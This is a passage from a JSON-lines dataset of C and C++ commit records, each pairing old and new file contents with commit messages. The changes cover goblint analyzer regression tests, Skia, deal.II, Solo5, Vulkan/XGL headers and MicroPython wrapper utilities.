*\/\n","subject":"Print function name at DBG","message":"Print function name at DBG\n","lang":"C","license":"apache-2.0","repos":"bsc-dd\/hecuba,bsc-dd\/hecuba,bsc-dd\/hecuba,bsc-dd\/hecuba"}
{"commit":"53359adda7580cb506970956b48062741da051cd","old_file":"tests\/regression\/36-apron\/71-td3-self-abort-complex.c","new_file":"tests\/regression\/36-apron\/71-td3-self-abort-complex.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --set ana.activated[+] apron\n#include <pthread.h>\n#include <assert.h>\n\nint g = 1;\nint h = 1;\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  int x, y; \/\/ rand\n  pthread_mutex_lock(&A);\n  g = x;\n  h = x;\n  pthread_mutex_unlock(&A);\n  pthread_mutex_lock(&A);\n  pthread_mutex_unlock(&A);\n  pthread_mutex_lock(&A);\n  if (y)\n    g = x;\n  assert(g == h); \/\/ UNKNOWN?\n  pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  return 0;\n}\n","subject":"Add TD3 test where complex self-abort causes verify error","message":"Add TD3 test where complex self-abort causes verify error\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"bcd31eb1e53d9008d0cb84032bfa7da7ba565f02","old_file":"RosApp\/app\/src\/main\/jni\/include\/tango_helper.h","new_file":"RosApp\/app\/src\/main\/jni\/include\/tango_helper.h","old_contents":"\/\/ Copyright 2016 Intermodalics All Rights Reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n#include <jni.h>\n\nnamespace tango_helper {\n\/\/ The minimum Tango Core version required from this application.\nconst int TANGO_CORE_MINIMUM_VERSION = 11926; \/\/ Yildun release.\n\n\/\/ Checks the installed version of the TangoCore. If it is too old, then\n\/\/ it will not support the most up to date features.\n\/\/ @return returns true if tango version if supported.\nbool IsTangoVersionOk(JNIEnv* env, jobject activity);\n\/\/ Binds to the tango service.\n\/\/ @return returns true if setting the binder ended successfully.\nbool SetBinder(JNIEnv* env, jobject binder);\n} \/\/ tango_helper\n\n","new_contents":"\/\/ Copyright 2016 Intermodalics All Rights Reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n#include <jni.h>\n\n\/\/ Helper functions that need to be separated from the tango_ros_native package to get rif of the\n\/\/ jni dependency, so that the tango_ros_native package can be used for Android and Linux.\nnamespace tango_helper {\n\/\/ The minimum Tango Core version required from this application.\nconst int TANGO_CORE_MINIMUM_VERSION = 11926; \/\/ Yildun release.\n\n\/\/ Checks the installed version of the TangoCore. If it is too old, then\n\/\/ it will not support the most up to date features.\n\/\/ @return returns true if tango version if supported.\nbool IsTangoVersionOk(JNIEnv* env, jobject activity);\n\/\/ Binds to the tango service.\n\/\/ @return returns true if setting the binder ended successfully.\nbool SetBinder(JNIEnv* env, jobject binder);\n} \/\/ tango_helper\n\n","subject":"Add comment to explain need of separate helper functions","message":"Add comment to explain need of separate helper functions\n","lang":"C","license":"apache-2.0","repos":"Intermodalics\/tango_ros,Intermodalics\/tango_ros,Intermodalics\/tango_ros,Intermodalics\/tango_ros"}
{"commit":"28c25f82e59407a491bac10a4c53a322cfa9b0cc","old_file":"tests\/regression\/13-privatized\/52-refine-protected-loop2-small.c","new_file":"tests\/regression\/13-privatized\/52-refine-protected-loop2-small.c","old_contents":"","new_contents":"#include <pthread.h>\n#include <assert.h>\n\nint g = 0;\n\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t B = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *worker(void *arg )\n{\n  while (1) {\n    pthread_mutex_lock(&A);\n    g = 1000;\n    assert(g != 0);\n    if (g > 0) {\n      g--;\n    }\n    pthread_mutex_unlock(&A);\n    \/\/ extra mutex makes mine-W more precise than mine-lazy\n    pthread_mutex_lock(&B);\n    pthread_mutex_unlock(&B);\n  }\n  return NULL;\n}\n\nint main(int argc , char **argv )\n{\n  pthread_t tid;\n  pthread_create(& tid, NULL, & worker, NULL);\n  return 0;\n}\n","subject":"Add further simplification of 13\/51","message":"Add further simplification of 13\/51\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"eb0d91cfa278bceba3ec9a3fdcbc7c47a2ed3a3f","old_file":"src\/core\/SkExchange.h","new_file":"src\/core\/SkExchange.h","old_contents":"","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkExchange_DEFINED\n#define SkExchange_DEFINED\n\n#include <utility>\n\nnamespace skstd {\n\n\/\/ std::exchange is in C++14\ntemplate<typename T, typename U = T>\ninline static T exchange(T& obj, U&& new_val) {\n    T old_val = std::move(obj);\n    obj = std::forward<U>(new_val);\n    return old_val;\n}\n\n}\n\n#endif  \/\/ SkExchange_DEFINED\n","subject":"Add skstd version of std::exchange","message":"Add skstd version of std::exchange\n\nBUG=skia:\nGOLD_TRYBOT_URL= https:\/\/gold.skia.org\/search?issue=2381793004\n\nReview-Url: https:\/\/codereview.chromium.org\/2381793004\n","lang":"C","license":"bsd-3-clause","repos":"HalCanary\/skia-hc,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,HalCanary\/skia-hc,rubenvb\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,HalCanary\/skia-hc,google\/skia,HalCanary\/skia-hc,google\/skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,rubenvb\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,google\/skia,rubenvb\/skia,rubenvb\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,google\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia"}
{"commit":"359e5083fc07f2634112af82f48189cb49b30a01","old_file":"src\/util\/serde.h","new_file":"src\/util\/serde.h","old_contents":"#pragma once\n\n#include <cstddef>\n\nnamespace util {\n\n\/\/ The interface is tuned for reuse and avoids boilerplate length calculations.\n\/\/ Looking at implementation examples helps understand the decisions behind it.\n\n\/\/ Serialization functions should not throw.\n\n\/\/ Upon success, serialize functions shall return end of serialized data.\n\/\/ Otherwise, nullptr shall be returned, indicating insufficinet destination capacity.\nusing serializeFunc = void* (*)(void* dest, const void* destEnd, const void* obj);\n\n\/\/ Upon success, deserialize function shall return end of consumed src. Otherwise, nullptr shall be returned.\nusing deserializeFunc = const void* (*)(void* sharedDest, const void* src, const void* srcEnd);\n\n} \/\/ namespace util\n","new_contents":"#pragma once\n\nnamespace util {\nnamespace serde {\n\n\/\/ The interface is tuned for reuse and avoids boilerplate length calculations.\n\/\/ Looking at implementation examples helps understand the decisions behind it.\n\n\/\/ Serialization functions should not throw.\n\n\/\/ Upon success, serialize functions shall return end of serialized data.\n\/\/ Otherwise, nullptr shall be returned, indicating insufficinet destination capacity.\nusing serializeFun = void* (*)(void* dest, const void* destEnd, const void* obj);\n\n\/\/ Upon success, deserialize function shall return end of consumed src. Otherwise, nullptr shall be returned.\nusing deserializeFun = const void* (*)(void* sharedDest, const void* src, const void* srcEnd);\n\n} \/\/ namespace serde\n} \/\/ namespace util\n","subject":"Move serialization interface into sub namespace","message":"Move serialization interface into sub namespace\n","lang":"C","license":"mit","repos":"isrvoid\/utilcpp,isrvoid\/utilcpp"}
{"commit":"eef2154790600024c9ccc72da34392b841ff9f0d","old_file":"tests\/tests.h","new_file":"tests\/tests.h","old_contents":"","new_contents":"\/\/----------------------------  tests.h  ---------------------------\n\/\/    $Id$\n\/\/    Version: $Name$\n\/\/\n\/\/    Copyright (C) 2004 by the deal.II authors\n\/\/\n\/\/    This file is subject to QPL and may not be  distributed\n\/\/    without copyright and license information. Please refer\n\/\/    to the file deal.II\/doc\/license.html for the  text  and\n\/\/    further information on this license.\n\/\/\n\/\/----------------------------  tests.h  ---------------------------\n\n\n\/\/ common definitions used in all the tests\n\n\n#include <base\/logstream.h>\n#include <cmath>\n\n\/\/ overload floating point output operators for LogStream so that small\n\/\/ numbers below a certain threshold are simply printed as zeros. this removes\n\/\/ a number of possible places where output may differ depending on platform,\n\/\/ compiler options, etc, simply because round-off is different.\nLogStream & operator << (LogStream &logstream,\n                         const double d)\n{\n  if (std::fabs (d) < 1e-10)\n    logstream << 0.;\n  else\n    logstream << d;\n  return logstream;\n}\n\n\nLogStream & operator << (LogStream &logstream,\n                         const float d)\n{\n  if (std::fabs (d) < 1e-8)\n    logstream << 0.;\n  else\n    logstream << d;\n  return logstream;\n}\n","subject":"Add a file with common definitions to be used by all testcases.","message":"Add a file with common definitions to be used by all testcases.\n\n\ngit-svn-id: 31d9d2f6432a47c86a3640814024c107794ea77c@8395 0785d39b-7218-0410-832d-ea1e28bc413d\n","lang":"C","license":"lgpl-2.1","repos":"YongYang86\/dealii,spco\/dealii,Arezou-gh\/dealii,gpitton\/dealii,rrgrove6\/dealii,mac-a\/dealii,lue\/dealii,ESeNonFossiIo\/dealii,lpolster\/dealii,ESeNonFossiIo\/dealii,danshapero\/dealii,mtezzele\/dealii,nicolacavallini\/dealii,sairajat\/dealii,flow123d\/dealii,JaeryunYim\/dealii,YongYang86\/dealii,andreamola\/dealii,ibkim11\/dealii,johntfoster\/dealii,lue\/dealii,natashasharma\/dealii,spco\/dealii,EGP-CIG-REU\/dealii,ibkim11\/dealii,flow123d\/dealii,natashasharma\/dealii,ESeNonFossiIo\/dealii,ESeNonFossiIo\/dealii,danshapero\/dealii,adamkosik\/dealii,lue\/dealii,sriharisundar\/dealii,rrgrove6\/dealii,ESeNonFossiIo\/dealii,YongYang86\/dealii,msteigemann\/dealii,andreamola\/dealii,maieneuro\/dealii,nicolacavallini\/dealii,mtezzele\/dealii,johntfoster\/dealii,mtezzele\/dealii,JaeryunYim\/dealii,sairajat\/dealii,mtezzele\/dealii,gpitton\/dealii,angelrca\/dealii,adamkosik\/dealii,shakirbsm\/dealii,sriharisundar\/dealii,Arezou-gh\/dealii,flow123d\/dealii,spco\/dealii,maieneuro\/dealii,danshapero\/dealii,adamkosik\/dealii,flow123d\/dealii,andreamola\/dealii,adamkosik\/dealii,mac-a\/dealii,lpolster\/dealii,msteigemann\/dealii,Arezou-gh\/dealii,jperryhouts\/dealii,sairajat\/dealii,adamkosik\/dealii,spco\/dealii,johntfoster\/dealii,johntfoster\/dealii,natashasharma\/dealii,sairajat\/dealii,nicolacavallini\/dealii,natashasharma\/dealii,lue\/dealii,ibkim11\/dealii,ibkim11\/dealii,andreamola\/dealii,natashasharma\/dealii,JaeryunYim\/dealii,spco\/dealii,JaeryunYim\/dealii,andreamola\/dealii,lue\/dealii,angelrca\/dealii,johntfoster\/dealii,mac-a\/dealii,sriharisundar\/dealii,andreamola\/dealii,lue\/dealii,flow123d\/dealii,angelrca\/dealii,Arezou-gh\/dealii,pesser\/dealii,EGP-CIG-REU\/dealii,flow123d\/dealii,JaeryunYim\/dealii,maieneuro\/dealii,angelrca\/dealii,naliboff\/dealii,nicolacavallini\/dealii,natashasharma\/dealii,shakirbsm\/dealii,danshapero\/dealii,ibkim11\/dealii,kalj\/dealii,shakirbsm\/dealii,mac-a\/dealii,Arezou-gh\/dealii,YongYang86\/dealii,Arezou-gh\/dealii,sairajat\/dealii,kalj\/dealii,pesser\/dealii,sriharisundar\/dealii,shakirbsm\/dealii,johntfoster\/dealii,naliboff\/dealii,sriharisundar\/dealii,maieneuro\/dealii,jperryhouts\/dealii,nicolacavallini\/dealii,YongYang86\/dealii,mac-a\/dealii,natashasharma\/dealii,mtezzele\/dealii,gpitton\/dealii,andreamola\/dealii,flow123d\/dealii,YongYang86\/dealii,adamkosik\/dealii,ESeNonFossiIo\/dealii,EGP-CIG-REU\/dealii,lpolster\/dealii,nicolacavallini\/dealii,lpolster\/dealii,jperryhouts\/dealii,kalj\/dealii,Arezou-gh\/dealii,danshapero\/dealii,msteigemann\/dealii,pesser\/dealii,lpolster\/dealii,mac-a\/dealii,spco\/dealii,shakirbsm\/dealii,jperryhouts\/dealii,mtezzele\/dealii,rrgrove6\/dealii,ibkim11\/dealii,EGP-CIG-REU\/dealii,kalj\/dealii,maieneuro\/dealii,maieneuro\/dealii,mac-a\/dealii,YongYang86\/dealii,shakirbsm\/dealii,shakirbsm\/dealii,naliboff\/dealii,maieneuro\/dealii,pesser\/dealii,msteigemann\/dealii,rrgrove6\/dealii,lpolster\/dealii,lpolster\/dealii,angelrca\/dealii,naliboff\/dealii,jperryhouts\/dealii,nicolacavallini\/dealii,lue\/dealii,sriharisundar\/dealii,mtezzele\/dealii,ESeNonFossiIo\/dealii,kalj\/dealii,angelrca\/dealii,msteigemann\/dealii,johntfoster\/dealii,gpitton\/dealii,EGP-CIG-REU\/dealii,msteigemann\/dealii,JaeryunYim\/dealii,sairajat\/dealii,JaeryunYim\/dealii,ibkim11\/dealii,pesser\/dealii,jperryhouts\/dealii,EGP-CIG-REU\/dealii,pesser\/dealii,naliboff\/dealii,naliboff\/dealii,kalj\/dealii,sriharisundar\/dealii,pesser\/dealii,adamkosik\/dealii,EGP-CIG-REU\/dealii,jperryhouts\/dealii,gpitton\/dealii,rrgrove6\/dealii,sairajat\/dealii,gpitton\/dealii,danshapero\/dealii,naliboff\/dealii,spco\/dealii,rrgrove6\/dealii,msteigemann\/dealii,angelrca\/dealii,danshapero\/dealii,gpitton\/dealii,kalj\/dealii,rrgrove6\/dealii"}
{"commit":"7aabc4f6c8893ba6c1480ae6064182fc6ceed04c","old_file":"kernel\/muen\/muen-poll.c","new_file":"kernel\/muen\/muen-poll.c","old_contents":"","new_contents":"\/*\n * Copyright (c) 2017 Contributors as noted in the AUTHORS file\n *\n * This file is part of Solo5, a unikernel base layer.\n *\n * Permission to use, copy, modify, and\/or distribute this software\n * for any purpose with or without fee is hereby granted, provided\n * that the above copyright notice and this permission notice appear\n * in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL\n * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE\n * AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR\n * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS\n * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,\n * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN\n * CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\n#include \"..\/kernel.h\"\n#include \"muen-net.h\"\n\nint solo5_poll(uint64_t until_nsecs)\n{\n    int rc = 0;\n    do {\n        if (muen_net_pending_data()) {\n            rc = 1;\n            break;\n        }\n        __asm__ __volatile__(\"pause\");\n    } while (solo5_clock_monotonic() < until_nsecs);\n\n    if (muen_net_pending_data()) {\n        rc = 1;\n    }\n\n    return rc;\n}\n","subject":"Add poll implementation for Muen","message":"Add poll implementation for Muen\n","lang":"C","license":"isc","repos":"djwillia\/solo5,mato\/solo5,djwillia\/solo5,Solo5\/solo5,Weichen81\/solo5,Weichen81\/solo5,mato\/solo5,mato\/solo5,Solo5\/solo5,djwillia\/solo5,Weichen81\/solo5"}
{"commit":"7c966839040bd186a6239d6f6d7c21dc34b34436","old_file":"include\/Genes\/Gene.h","new_file":"include\/Genes\/Gene.h","old_contents":"#ifndef GENE_H\n#define GENE_H\n\n#include <map>\n#include <string>\n#include <iosfwd>\n\nclass Board;\nclass Piece_Strength_Gene;\n\nclass Gene\n{\n    public:\n        Gene();\n        virtual ~Gene() = default;\n\n        void read_from(std::istream& is);\n\n        void mutate();\n        double evaluate(const Board& board) const;\n        virtual Gene* duplicate() const = 0;\n\n        virtual std::string name() const = 0;\n        void print(std::ostream& os) const;\n\n        virtual void reset_piece_strength_gene(const Piece_Strength_Gene* psg);\n\n    protected:\n        mutable std::map<std::string, double> properties; \/\/ used to simplify reading\/writing from\/to files\n        virtual void reset_properties() const;\n        virtual void load_properties();\n        void make_priority_non_negative();\n\n    private:\n        virtual double score_board(const Board& board) const = 0;\n        void throw_on_invalid_line(const std::string& line, const std::string& reason) const;\n        virtual void gene_specific_mutation();\n\n        double priority;\n        bool priority_non_negative;\n};\n\n#endif \/\/ GENE_H\n","new_contents":"#ifndef GENE_H\n#define GENE_H\n\n#include <map>\n#include <string>\n#include <iosfwd>\n\nclass Board;\nclass Piece_Strength_Gene;\n\nclass Gene\n{\n    public:\n        Gene();\n        virtual ~Gene() = default;\n\n        void read_from(std::istream& is);\n\n        void mutate();\n        double evaluate(const Board& board) const;\n        virtual Gene* duplicate() const = 0;\n\n        virtual std::string name() const = 0;\n        void print(std::ostream& os) const;\n\n        virtual void reset_piece_strength_gene(const Piece_Strength_Gene* psg);\n\n    protected:\n        mutable std::map<std::string, double> properties; \/\/ used to simplify reading\/writing from\/to files\n        virtual void reset_properties() const;\n        virtual void load_properties();\n        void make_priority_non_negative();\n\n    private:\n        virtual double score_board(const Board& board) const = 0;\n        [[noreturn]] void throw_on_invalid_line(const std::string& line, const std::string& reason) const;\n        virtual void gene_specific_mutation();\n\n        double priority;\n        bool priority_non_negative;\n};\n\n#endif \/\/ GENE_H\n","subject":"Add [[noreturn]] to pure throwing method","message":"Add [[noreturn]] to pure throwing method\n","lang":"C","license":"mit","repos":"MarkZH\/Genetic_Chess,MarkZH\/Genetic_Chess,MarkZH\/Genetic_Chess,MarkZH\/Genetic_Chess,MarkZH\/Genetic_Chess"}
{"commit":"1e5191053d844c86f21cd2b82e4bc09ae0340634","old_file":"include\/xglIntelExt.h","new_file":"include\/xglIntelExt.h","old_contents":"\/* IN DEVELOPMENT.  DO NOT SHIP. *\/\n\n#ifndef __XGLINTELEXT_H__\n#define __XGLINTELEXT_H__\n\n#include <xcb\/xcb.h>\n#include <xcb\/randr.h>\n#include \"xgl.h\"\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif \/\/ __cplusplus\n\ntypedef enum _XGL_INTEL_STRUCTURE_TYPE\n{\n    XGL_INTEL_STRUCTURE_TYPE_SHADER_CREATE_INFO             = 1000,\n} XGL_INTEL_STRUCTURE_TYPE;\n\n#ifdef __cplusplus\n} \/\/ extern \"C\"\n#endif \/\/ __cplusplus\n\n#endif \/\/ __XGLINTELEXT_H__\n","new_contents":"\/* IN DEVELOPMENT.  DO NOT SHIP. *\/\n\n#ifndef __XGLINTELEXT_H__\n#define __XGLINTELEXT_H__\n\n#include <xcb\/xcb.h>\n#include <xcb\/randr.h>\n#include \"xgl.h\"\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif \/\/ __cplusplus\n\ntypedef enum _XGL_INTEL_STRUCTURE_TYPE\n{\n    XGL_INTEL_STRUCTURE_TYPE_SHADER_CREATE_INFO             = 1000,\n} XGL_INTEL_STRUCTURE_TYPE;\n\ntypedef struct _XGL_INTEL_COMPILE_GLSL\n{\n    XGL_PIPELINE_SHADER_STAGE       stage;\n    const char                     *pCode;\n} XGL_INTEL_COMPILE_GLSL;\n\n#ifdef __cplusplus\n} \/\/ extern \"C\"\n#endif \/\/ __cplusplus\n\n#endif \/\/ __XGLINTELEXT_H__\n","subject":"Add shader structure for GLSL compile extension","message":"intel: Add shader structure for GLSL compile extension\n","lang":"C","license":"apache-2.0","repos":"KhronosGroup\/Vulkan-Tools,KhronosGroup\/Vulkan-Tools,KhronosGroup\/Vulkan-Tools,KhronosGroup\/Vulkan-Tools"}
{"commit":"99e8bd7b02314af8fc801e1e1bb3eab4a3cb8ccd","old_file":"Classes\/LJSStop.h","new_file":"Classes\/LJSStop.h","old_contents":"\/\/\n\/\/  LJSStop.h\n\/\/  LJSYourNextBus\n\/\/\n\/\/  Created by Luke Stringer on 29\/01\/2014.\n\/\/  Copyright (c) 2014 Luke Stringer. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface LJSStop : NSObject <NSCopying>\n\n@property (nonatomic, copy, readonly) NSString *NaPTANCode;\n@property (nonatomic, copy, readonly) NSString *title;\n@property (nonatomic, copy, readonly) NSDate *liveDate;\n@property (nonatomic, copy, readonly) NSArray *services;\n\n- (BOOL)isEqualToStop:(LJSStop *)stop;\n\n@end\n","new_contents":"\/\/\n\/\/  LJSStop.h\n\/\/  LJSYourNextBus\n\/\/\n\/\/  Created by Luke Stringer on 29\/01\/2014.\n\/\/  Copyright (c) 2014 Luke Stringer. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface LJSStop : NSObject <NSCopying>\n\n\/**\n *  An 8 digit stop number starting with e.g. 450 for West Yorkshire or 370 for South Yorkshire\n *\/\n@property (nonatomic, copy, readonly) NSString *NaPTANCode;\n@property (nonatomic, copy, readonly) NSString *title;\n@property (nonatomic, copy, readonly) NSDate *liveDate;\n@property (nonatomic, copy, readonly) NSArray *services;\n\n- (BOOL)isEqualToStop:(LJSStop *)stop;\n\n@end\n","subject":"Comment explaining what a valid NaPTAN code is.","message":"Comment explaining what a valid NaPTAN code is.\n","lang":"C","license":"mit","repos":"lukestringer90\/LJSYourNextBus,lukestringer90\/LJSYourNextBus"}
{"commit":"3305c8719532631857182b481fccdafa76142044","old_file":"include\/xglIntelExt.h","new_file":"include\/xglIntelExt.h","old_contents":"\/* IN DEVELOPMENT.  DO NOT SHIP. *\/\n\n#ifndef __XGLINTELEXT_H__\n#define __XGLINTELEXT_H__\n\n#include <xcb\/xcb.h>\n#include <xcb\/randr.h>\n#include \"xgl.h\"\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif \/\/ __cplusplus\n\ntypedef enum _XGL_INTEL_STRUCTURE_TYPE\n{\n    XGL_INTEL_STRUCTURE_TYPE_SHADER_CREATE_INFO             = 1000,\n} XGL_INTEL_STRUCTURE_TYPE;\n\n#ifdef __cplusplus\n} \/\/ extern \"C\"\n#endif \/\/ __cplusplus\n\n#endif \/\/ __XGLINTELEXT_H__\n","new_contents":"\/* IN DEVELOPMENT.  DO NOT SHIP. *\/\n\n#ifndef __XGLINTELEXT_H__\n#define __XGLINTELEXT_H__\n\n#include <xcb\/xcb.h>\n#include <xcb\/randr.h>\n#include \"xgl.h\"\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif \/\/ __cplusplus\n\ntypedef enum _XGL_INTEL_STRUCTURE_TYPE\n{\n    XGL_INTEL_STRUCTURE_TYPE_SHADER_CREATE_INFO             = 1000,\n} XGL_INTEL_STRUCTURE_TYPE;\n\ntypedef struct _XGL_INTEL_COMPILE_GLSL\n{\n    XGL_PIPELINE_SHADER_STAGE       stage;\n    const char                     *pCode;\n} XGL_INTEL_COMPILE_GLSL;\n\n#ifdef __cplusplus\n} \/\/ extern \"C\"\n#endif \/\/ __cplusplus\n\n#endif \/\/ __XGLINTELEXT_H__\n","subject":"Add shader structure for GLSL compile extension","message":"intel: Add shader structure for GLSL compile extension\n","lang":"C","license":"apache-2.0","repos":"KhronosGroup\/Vulkan-LoaderAndValidationLayers,Radamanthe\/VulkanSamples,Radamanthe\/VulkanSamples,sashinde\/VulkanTools,Radamanthe\/VulkanSamples,KhronosGroup\/Vulkan-LoaderAndValidationLayers,sashinde\/VulkanTools,elongbug\/Vulkan-LoaderAndValidationLayers,Radamanthe\/VulkanSamples,critsec\/Vulkan-LoaderAndValidationLayers,critsec\/Vulkan-LoaderAndValidationLayers,critsec\/Vulkan-LoaderAndValidationLayers,elongbug\/Vulkan-LoaderAndValidationLayers,elongbug\/Vulkan-LoaderAndValidationLayers,Radamanthe\/VulkanSamples,sashinde\/VulkanTools,Radamanthe\/VulkanSamples,critsec\/Vulkan-LoaderAndValidationLayers,KhronosGroup\/Vulkan-LoaderAndValidationLayers,elongbug\/Vulkan-LoaderAndValidationLayers,KhronosGroup\/Vulkan-LoaderAndValidationLayers,sashinde\/VulkanTools"}
{"commit":"20182dd263312db9fad52042fc92c33331ec6904","old_file":"base\/metrics\/histogram_functions.h","new_file":"base\/metrics\/histogram_functions.h","old_contents":"\/\/ Copyright 2016 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef MINI_CHROMIUM_BASE_METRICS_HISTOGRAM_FUNCTIONS_H_\n#define MINI_CHROMIUM_BASE_METRICS_HISTOGRAM_FUNCTIONS_H_\n\n#include <string>\n\n\/\/ These are no-op stub versions of a subset of the functions from Chromium's\n\/\/ base\/metrics\/histogram_functions.h. This allows us to instrument the Crashpad\n\/\/ code as necessary, while not affecting out-of-Chromium builds.\nnamespace base {\n\nvoid UmaHistogramSparse(const std::string& name, int sample) {}\n\n}  \/\/ namespace base\n\n#endif  \/\/ MINI_CHROMIUM_BASE_METRICS_HISTOGRAM_FUNCTIONS_H_","new_contents":"\/\/ Copyright 2016 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef MINI_CHROMIUM_BASE_METRICS_HISTOGRAM_FUNCTIONS_H_\n#define MINI_CHROMIUM_BASE_METRICS_HISTOGRAM_FUNCTIONS_H_\n\n#include <string>\n\n\/\/ These are no-op stub versions of a subset of the functions from Chromium's\n\/\/ base\/metrics\/histogram_functions.h. This allows us to instrument the Crashpad\n\/\/ code as necessary, while not affecting out-of-Chromium builds.\nnamespace base {\n\nvoid UmaHistogramSparse(const std::string& name, int sample) {}\n\n}  \/\/ namespace base\n\n#endif  \/\/ MINI_CHROMIUM_BASE_METRICS_HISTOGRAM_FUNCTIONS_H_\n","subject":"Add missing newline at EOF after d1943e187f47","message":"Add missing newline at EOF after d1943e187f47\n\nChange-Id: I7d7735791aa565edca162d8c683bd272bbcfaa52\nReviewed-on: https:\/\/chromium-review.googlesource.com\/827592\nReviewed-by: Mark Mentovai <f1b5a91d4d6ad523f2610114591c007e75d15084@chromium.org>\n","lang":"C","license":"bsd-3-clause","repos":"chromium\/mini_chromium,chromium\/mini_chromium,chromium\/mini_chromium"}
{"commit":"64d0d495f19cf3b2e071001b0197758dbf53d7fc","old_file":"util.h","new_file":"util.h","old_contents":"#ifndef MICROPYTHON_WRAP_UTIL_H\r\n#define MICROPYTHON_WRAP_UTIL_H\r\n\r\n#include \"detail\/micropython.h\"\r\n\r\nnamespace upywrap\r\n{\r\n  inline std::string ExceptionToString( mp_obj_t ex )\r\n  {\r\n    std::string exMessage;\n    const mp_print_t mp_my_print{ &exMessage, [] ( void* data, const char* str, mp_uint_t len ) { ( (std::string*) data )->append( str, len ); } };\n    mp_obj_print_exception( &mp_my_print, ex );\r\n    return exMessage;\r\n  }\r\n}\r\n\r\n#endif \/\/#ifndef MICROPYTHON_WRAP_UTIL_H\r\n","new_contents":"#ifndef MICROPYTHON_WRAP_UTIL_H\r\n#define MICROPYTHON_WRAP_UTIL_H\r\n\r\n#include \"detail\/micropython.h\"\r\n\r\nnamespace upywrap\r\n{\r\n  inline mp_print_t PrintToString( std::string& dest )\r\n  {\r\n    return mp_print_t{ &dest, [] ( void* data, const char* str, mp_uint_t len ) { ( (std::string*) data )->append( str, len ); } };\r\n  }\r\n\r\n  inline std::string ExceptionToString( mp_obj_t ex )\r\n  {\r\n    std::string exMessage;\n    const auto mp_my_print( PrintToString( exMessage ) );\n    mp_obj_print_exception( &mp_my_print, ex );\r\n    return exMessage;\r\n  }\r\n\r\n  inline std::string VariableValueToString( mp_obj_t obj, mp_print_kind_t kind = PRINT_REPR )\r\n  {\r\n    std::string var;\r\n    const auto mp_my_print( PrintToString( var ) );\r\n    mp_obj_print_helper( &mp_my_print, obj, kind );\r\n    return var;\r\n  }\r\n}\r\n\r\n#endif \/\/#ifndef MICROPYTHON_WRAP_UTIL_H\r\n","subject":"Add function for getting a variable's string representation","message":"Add function for getting a variable's string representation\n","lang":"C","license":"mit","repos":"stinos\/micropython-wrap,stinos\/micropython-wrap,stinos\/micropython-wrap"}
